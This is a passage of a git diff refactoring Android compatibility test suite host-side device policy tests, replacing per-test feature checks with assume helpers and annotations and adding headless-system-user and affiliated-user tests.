-                executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRetrieveSecurityLogs");
-            }, new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_SECURITY_LOGS_VALUE)
-                    .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(
-                    EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
-                    .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .build());
-
-            if (isLowRamDevice()) {
-                // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport)
-                // leaves a state where future bug report requests will fail - usually this is
-                // handled by a NotificationListenerService but on low ram devices this isn't
-                // available so we must reboot
-                rebootAndWaitUntilReady();
-            }
-
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
-            }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
-                    .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .build());
-
-            if (isLowRamDevice()) {
-                // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport)
-                // leaves a state where future bug report requests will fail - usually this is
-                // handled by a NotificationListenerService but on low ram devices this isn't
-                // available so we must reboot
-                rebootAndWaitUntilReady();
-            }
-        }
-    }
-
-    private boolean isLowRamDevice() {
-        try {
-            return getBooleanSystemProperty("ro.config.low_ram", false);
-        } catch (DeviceNotAvailableException e) {
-            return false;
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRetrieveSecurityLogs");
+        }, new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_SECURITY_LOGS_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .build());
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
+        }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .build());
     }
 
     @Test
     public void testBluetoothRestriction() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("BluetoothRestrictionTest");
     }
 
     @Test
     public void testSetTime() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("SetTimeTest");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode(bugId = "185523465",
+            reason = "need to decide how to support it")
     public void testSetLocationEnabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("SetLocationEnabledTest");
     }
 
-    @Test
-    public void testDeviceOwnerProvisioning() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        executeDeviceOwnerTest("DeviceOwnerProvisioningTest");
-    }
-
     /**
      *  Only allow provisioning flow to be disabled if Android TV device
      */
@@ -733,15 +573,11 @@
     public void testAllowProvisioningProperty() throws Exception {
         boolean isProvisioningAllowedForNormalUsers =
                 getBooleanSystemProperty("ro.config.allowuserprovisioning", true);
-        boolean isTv = hasDeviceFeature("android.software.leanback");
-        assertTrue(isProvisioningAllowedForNormalUsers || isTv);
+        assertTrue(isProvisioningAllowedForNormalUsers || isTv());
     }
 
     @Test
     public void testDisallowFactoryReset() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int adminVersion = 24;
         changeUserRestrictionOrFail("no_factory_reset", true, mPrimaryUserId,
                 DEVICE_OWNER_PKG);
@@ -760,13 +596,10 @@
         }
     }
 
+    // The backup service cannot be enabled if the backup feature is not supported.
+    @RequiresAdditionalFeatures({FEATURE_BACKUP})
     @Test
     public void testBackupServiceEnabling() throws Exception {
-        final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
-        // The backup service cannot be enabled if the backup feature is not supported.
-        if (!mHasFeature || !hasBackupService) {
-            return;
-        }
         executeDeviceTestMethod(".BackupServicePoliciesTest",
                 "testEnablingAndDisablingBackupService");
     }
@@ -774,18 +607,12 @@
     @Test
     public void testDeviceOwnerCanGetDeviceIdentifiers() throws Exception {
         // The Device Owner should have access to all device identifiers.
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".DeviceIdentifiersTest",
                 "testDeviceOwnerCanGetDeviceIdentifiersWithPermission");
     }
 
     @Test
     public void testPackageInstallCache() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         final File apk = buildHelper.getTestFile(TEST_APP_APK);
         try {
@@ -828,9 +655,8 @@
     @LargeTest
     @Test
     public void testPackageInstallCache_multiUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         final int userId = createAffiliatedSecondaryUser();
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         final File apk = buildHelper.getTestFile(TEST_APP_APK);
@@ -884,34 +710,24 @@
 
     @Test
     public void testAirplaneModeRestriction() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("AirplaneModeRestrictionTest");
     }
 
     @Test
     public void testOverrideApn() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.telephony")) {
-            return;
-        }
+        assumeHasTelephonyFeature();
+
         executeDeviceOwnerTest("OverrideApnTest");
     }
 
     @FlakyTest(bugId = 134487729)
     @Test
     public void testPrivateDnsPolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("PrivateDnsPolicyTest");
     }
 
     @Test
     public void testSetKeyguardDisabledLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetKeyguardDisabledLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_KEYGUARD_DISABLED_VALUE)
@@ -921,9 +737,6 @@
 
     @Test
     public void testSetStatusBarDisabledLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetStatusBarDisabledLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_STATUS_BAR_DISABLED_VALUE)
@@ -938,9 +751,7 @@
 
     @Test
     public void testDefaultSmsApplication() throws Exception {
-        if (!mHasFeature || !mHasTelephony) {
-            return;
-        }
+        assumeHasTelephonyFeature();
 
         installAppAsUser(SIMPLE_SMS_APP_APK, mPrimaryUserId);
 
@@ -951,9 +762,6 @@
 
     @Test
     public void testNoHiddenActivityFoundTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             // Install app to primary user
             installAppAsUser(BaseLauncherAppsTest.LAUNCHER_TESTS_APK, mPrimaryUserId);
@@ -976,9 +784,6 @@
 
     @Test
     public void testSetGlobalSettingLogged() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetGlobalSettingLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
@@ -1001,9 +806,6 @@
 
     @Test
     public void testSetUserControlDisabledPackages() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
             // launch the app once before starting the test.
@@ -1024,7 +826,7 @@
             // The simple app package seems to be set into stopped state on reboot.
             // Launch the activity again to get it out of stopped state.
             startActivityAsUser(mPrimaryUserId, SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
-            forceStopPackageForUser(SIMPLE_APP_PKG, mPrimaryUserId);
+            forceStopPackageForUser(SIMPLE_APP_PKG, mDeviceOwnerUserId);
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
                     "testForceStopWithUserControlDisabled");
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
@@ -1037,49 +839,123 @@
         }
     }
 
-    private void executeDeviceOwnerTest(String testClassName) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        String testClass = DEVICE_OWNER_PKG + "." + testClassName;
-        runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId);
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_allOperations() throws Exception {
+        executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest", "testAllOperations");
     }
 
-    private void executeDeviceTestMethod(String className, String testName) throws Exception {
-        if (!mHasFeature) {
-            return;
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_isSafeOperation() throws Exception {
+        executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest", "testIsSafeOperation");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_unsafeStateException() throws Exception {
+        executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest",
+                "testUnsafeStateException");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_onOperationSafetyStateChanged()
+            throws Exception {
+        executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest",
+                "testOnOperationSafetyStateChanged");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_notDeviceOwner() throws Exception {
+        if (!removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId)) {
+            fail("Failed to remove device owner for user " + mDeviceOwnerUserId);
         }
-        runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
-                /* deviceOwnerUserId */ mPrimaryUserId);
+
+        executeDeviceTestMethod(".PreDeviceOwnerTest",
+                "testListForegroundAffiliatedUsers_notDeviceOwner");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_onlyForegroundUser() throws Exception {
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_extraUser() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        createAffiliatedSecondaryUser();
+
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_notAffiliated() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        int userId = createUser();
+        switchUser(userId);
+
+        executeListForegroundAffiliatedUsersTest("testListForegroundAffiliatedUsers_empty");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_affiliated() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        int userId = createAffiliatedSecondaryUser();
+        switchUser(userId);
+
+        executeListForegroundAffiliatedUsersTest(
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
+    }
+
+    @Test
+    public void testWifiNetworkConfigurationWithoutFineLocationPermission() throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "pm revoke %s android.permission.ACCESS_FINE_LOCATION", DEVICE_OWNER_PKG));
+
+        executeDeviceOwnerTest("WifiNetworkConfigurationWithoutFineLocationPermissionTest");
     }
 
     private int createAffiliatedSecondaryUser() throws Exception {
         final int userId = createUser();
         installAppAsUser(INTENT_RECEIVER_APK, userId);
-        installAppAsUser(DEVICE_OWNER_APK, userId);
-        setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
-
-        switchUser(userId);
-        waitForBroadcastIdle();
+        // For headless system user mode, after DO is setup, PO is already
+        // set on the secondary user. Meanwhile, it requires additional permission while
+        // using DevicePolicyManagerWrapper while using DPM APIs from secondary user.
+        if (!isHeadlessSystemUserMode()) {
+            installAppAsUser(DEVICE_OWNER_APK, userId);
+            setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
+        } else {
+            grantDpmWrapperPermissions(DEVICE_OWNER_APK, userId);
+        }
         wakeupAndDismissKeyguard();
 
         // Setting the same affiliation ids on both users
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
+        CLog.d("createAffiliatedSecondaryUser(): deviceOwnerId=" + mDeviceOwnerUserId
+                + ", primaryUserId=" + mPrimaryUserId + ", newUserId=" + userId);
+        affiliateUsers(DEVICE_OWNER_PKG, mDeviceOwnerUserId, userId);
+
         return userId;
     }
 
     private void executeDeviceTestMethod(String className, String testName,
             Map<String, String> params) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
                 /* deviceOwnerUserId */ mPrimaryUserId, params);
     }
 
+    private void executeCreateAndManageUserTest(String testMethod) throws Exception {
+        // These test must be run on device owner user, as it's the only user that's guaranteed  to
+        // be always running (otherwise, the test case would crash on headless system user mode if
+        // the current user is switched out)
+        executeDeviceOwnerTestMethod(".CreateAndManageUserTest", testMethod);
+    }
+
+    private void executeListForegroundAffiliatedUsersTest(String testMethod) throws Exception {
+        // These test must be run on device owner user, as it's the only user that's guaranteed  to
+        // be always running (otherwise, the test case would crash on headless system user mode if
+        // the current user is switched out)
+        executeDeviceOwnerTestMethod(".ListForegroundAffiliatedUsersTest", testMethod);
+    }
+
     private void assertNewUserStopped() throws Exception {
         List<Integer> newUsers = getUsersCreatedByTests();
         assertEquals(1, newUsers.size());
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
index c7a2ae6..d746025 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
@@ -27,23 +27,20 @@
 public class EphemeralUserTest extends BaseDevicePolicyTest {
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mHasFeature = canCreateAdditionalUsers(1);
+    protected void assumeTestEnabled() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
     }
 
     @Override
     public void tearDown() throws Exception {
         removeTestUsers();
+
         super.tearDown();
     }
 
     /** The user should have the ephemeral flag set if it was created as ephemeral. */
     @Test
     public void testCreateEphemeralUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int userId = createUser(FLAG_EPHEMERAL);
         int flags = getUserFlags(userId);
         assertTrue("ephemeral flag must be set", FLAG_EPHEMERAL == (flags & FLAG_EPHEMERAL));
@@ -52,39 +49,16 @@
     /** The user should not have the ephemeral flag set if it was not created as ephemeral. */
     @Test
     public void testCreateLongLivedUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int userId = createUser();
         int flags = getUserFlags(userId);
         assertTrue("ephemeral flag must not be set", 0 == (flags & FLAG_EPHEMERAL));
     }
 
     /**
-     * The profile should have the ephemeral flag set automatically if its parent user is
-     * ephemeral.
-     */
-    @Test
-    public void testProfileInheritsEphemeral() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")
-                || !canCreateAdditionalUsers(2)
-                || !hasUserSplit()) {
-            return;
-        }
-        int userId = createUser(FLAG_EPHEMERAL);
-        int profileId = createManagedProfile(userId);
-        int flags = getUserFlags(profileId);
-        assertTrue("ephemeral flag must be set", FLAG_EPHEMERAL == (flags & FLAG_EPHEMERAL));
-    }
-
-    /**
      * Ephemeral user should be automatically removed after it is stopped.
      */
     @Test
     public void testRemoveEphemeralOnStop() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int userId = createUser(FLAG_EPHEMERAL);
         startUser(userId);
         assertTrue("ephemeral user must exists after start", listUsers().contains(userId));
@@ -98,9 +72,6 @@
      */
     @Test
     public void testEphemeralGuestFeature() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Create a guest user.
         int userId = createUser(FLAG_GUEST);
         int flags = getUserFlags(userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/HeadlessSystemUserDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/HeadlessSystemUserDeviceOwnerTest.java
new file mode 100644
index 0000000..e24416d
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/HeadlessSystemUserDeviceOwnerTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Test;
+
+// TODO(b/174859111): move to device-side, automotive specific module
+/**
+ * Device owner tests specific for devices that use
+ * {@link android.os.UserManager#isHeadlessSystemUserMode()}.
+ */
+public final class HeadlessSystemUserDeviceOwnerTest extends BaseDeviceOwnerTest {
+
+    @Override
+    public void setUp() throws Exception {
+        assumeTrue("device is not headless system user mode", isHeadlessSystemUserMode());
+
+        super.setUp();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (!isHeadlessSystemUserMode()) return;
+
+        super.tearDown();
+    }
+
+    @Test
+    public void testProfileOwnerIsSetOnCurrentUser() throws Exception {
+        executeDeviceTest("testProfileOwnerIsSetOnCurrentUser");
+    }
+
+    @Test
+    public void testProfileOwnerIsSetOnNewUser() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+
+        executeDeviceTest("testProfileOwnerIsSetOnNewUser");
+    }
+
+    private void executeDeviceTest(String testMethod) throws Exception {
+        executeDeviceTestMethod(".HeadlessSystemUserTest", testMethod);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
index 5c5438b..b9abace 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
@@ -29,40 +29,37 @@
     private int mSecondaryUserId;
     private String mSecondaryUserSerialNumber;
 
-    private boolean mMultiUserSupported;
+    @Override
+    protected void assumeTestEnabled() throws Exception {
+        // We need multi user to be supported in order to create a secondary user
+        // and api level 21 to support LauncherApps
+        assumeSupportsMultiUser();
+        assumeApiLevel(21);
+    }
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        // We need multi user to be supported in order to create a secondary user
-        // and api level 21 to support LauncherApps
-        mMultiUserSupported = getMaxNumberOfUsersSupported() > 1 && getDevice().getApiLevel() >= 21;
 
-        if (mMultiUserSupported) {
-            removeTestUsers();
-            uninstallTestApps();
-            installTestApps(mPrimaryUserId);
-            // Create a secondary user.
-            mSecondaryUserId = createUser();
-            mSecondaryUserSerialNumber = Integer.toString(getUserSerialNumber(mSecondaryUserId));
-            startUser(mSecondaryUserId);
-        }
+        removeTestUsers();
+        uninstallTestApps();
+        installTestApps(mPrimaryUserId);
+        // Create a secondary user.
+        mSecondaryUserId = createUser();
+        mSecondaryUserSerialNumber = Integer.toString(getUserSerialNumber(mSecondaryUserId));
+        startUser(mSecondaryUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mMultiUserSupported) {
-            removeUser(mSecondaryUserId);
-            uninstallTestApps();
-        }
+        removeUser(mSecondaryUserId);
+        uninstallTestApps();
+
         super.tearDown();
     }
 
     @Test
     public void testGetActivitiesForNonProfileFails() throws Exception {
-        if (!mMultiUserSupported) {
-            return;
-        }
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
@@ -73,9 +70,6 @@
 
     @Test
     public void testNoLauncherCallbackPackageAddedSecondaryUser() throws Exception {
-        if (!mMultiUserSupported) {
-            return;
-        }
         startCallbackService(mPrimaryUserId);
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index c4618ee..fd267c0 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -16,8 +16,11 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import android.platform.test.annotations.FlakyTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.Test;
@@ -27,6 +30,7 @@
 /**
  * Set of tests for LauncherApps with managed profiles.
  */
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class LauncherAppsProfileTest extends BaseLauncherAppsTest {
 
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
@@ -44,39 +48,33 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-        if (mHasFeature) {
-            removeTestUsers();
-            // Create a managed profile
-            mParentUserId = mPrimaryUserId;
-            mProfileUserId = createManagedProfile(mParentUserId);
-            installAppAsUser(MANAGED_PROFILE_APK, mProfileUserId);
-            setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                    mProfileUserId);
-            mProfileSerialNumber = Integer.toString(getUserSerialNumber(mProfileUserId));
-            mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
-            startUserAndWait(mProfileUserId);
 
-            // Install test APK on primary user and the managed profile.
-            installTestApps(USER_ALL);
-        }
+        removeTestUsers();
+        // Create a managed profile
+        mParentUserId = mPrimaryUserId;
+        mProfileUserId = createManagedProfile(mParentUserId);
+        installAppAsUser(MANAGED_PROFILE_APK, mProfileUserId);
+        setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+                mProfileUserId);
+        mProfileSerialNumber = Integer.toString(getUserSerialNumber(mProfileUserId));
+        mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
+        startUserAndWait(mProfileUserId);
+
+        // Install test APK on primary user and the managed profile.
+        installTestApps(USER_ALL);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mProfileUserId);
-            uninstallTestApps();
-            getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
-        }
+        removeUser(mProfileUserId);
+        uninstallTestApps();
+        getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
+
         super.tearDown();
     }
 
     @Test
     public void testGetActivitiesWithProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Install app for all users.
         installAppAsUser(SIMPLE_APP_APK, mParentUserId);
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
@@ -110,9 +108,6 @@
 
     @Test
     public void testProfileOwnerAppHiddenInPrimaryProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         String command = "pm disable --user " + mParentUserId + " " + MANAGED_PROFILE_PKG
                 + "/.PrimaryUserFilterSetterActivity";
         CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
@@ -123,9 +118,6 @@
 
     @Test
     public void testNoHiddenActivityInProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Install app for all users.
         installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mParentUserId);
         installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mProfileUserId);
@@ -142,9 +134,6 @@
     @FlakyTest
     @Test
     public void testLauncherCallbackPackageAddedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         startCallbackService(mPrimaryUserId);
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
@@ -156,9 +145,6 @@
     @FlakyTest
     @Test
     public void testLauncherCallbackPackageRemovedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         startCallbackService(mPrimaryUserId);
         getDevice().uninstallPackage(SIMPLE_APP_PKG);
@@ -171,9 +157,6 @@
     @FlakyTest
     @Test
     public void testLauncherCallbackPackageChangedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         startCallbackService(mPrimaryUserId);
         installAppAsUser(SIMPLE_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true,
@@ -186,9 +169,6 @@
 
     @Test
     public void testReverseAccessNoThrow() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
 
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
index 05a0157..73f6204 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.platform.test.annotations.FlakyTest;
 
 import org.junit.Test;
@@ -27,6 +29,8 @@
  */
 public class LauncherAppsSingleUserTest extends BaseLauncherAppsTest {
 
+    private final static String FEATURE_INCREMENTAL_DELIVERY =
+            "android.software.incremental_delivery";
     private boolean mHasLauncherApps;
     private String mSerialNumber;
     private int mCurrentUserId;
@@ -63,6 +67,20 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    //TODO(b/171574935): make sure to migrate this to the new test infra
+    @Test
+    public void testInstallAppMainUserIncremental() throws Exception {
+        assumeTrue("true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery")));
+        if (!mHasLauncherApps) {
+            return;
+        }
+        installAppIncremental(SIMPLE_APP_APK);
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testSimpleAppInstalledForUser",
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+    }
+
     @FlakyTest
     @Test
     public void testLauncherCallbackPackageAddedMainUser() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
index 0ff9430..29f3d04 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -32,28 +32,28 @@
     private static final String LAUNCHER_TESTS_NO_PERMISSION_APK =
             "CtsNoPermissionApp.apk";
 
-    private boolean mHasLauncherApps;
     private String mSerialNumber;
     private int mCurrentUserId;
 
     @Override
+    protected void assumeTestEnabled() throws Exception {
+        assumeApiLevel(21);
+    }
+
+    @Override
     public void setUp() throws Exception {
         super.setUp();
-        mHasLauncherApps = getDevice().getApiLevel() >= 21;
 
-        if (mHasLauncherApps) {
-            mCurrentUserId = getDevice().getCurrentUser();
-            mSerialNumber = Integer.toString(getUserSerialNumber(mCurrentUserId));
-            uninstallTestApps();
-            installTestApps(mCurrentUserId);
-        }
+        mCurrentUserId = getDevice().getCurrentUser();
+        mSerialNumber = Integer.toString(getUserSerialNumber(mCurrentUserId));
+        uninstallTestApps();
+        installTestApps(mCurrentUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasLauncherApps) {
-            uninstallTestApps();
-        }
+        uninstallTestApps();
+
         super.tearDown();
     }
 
@@ -75,9 +75,6 @@
 
     @Test
     public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testHasLauncherActivityAppHasAppDetailsActivityInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
@@ -85,9 +82,6 @@
 
     @Test
     public void testNoSystemAppHasSyntheticAppDetailsActivityInjected() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
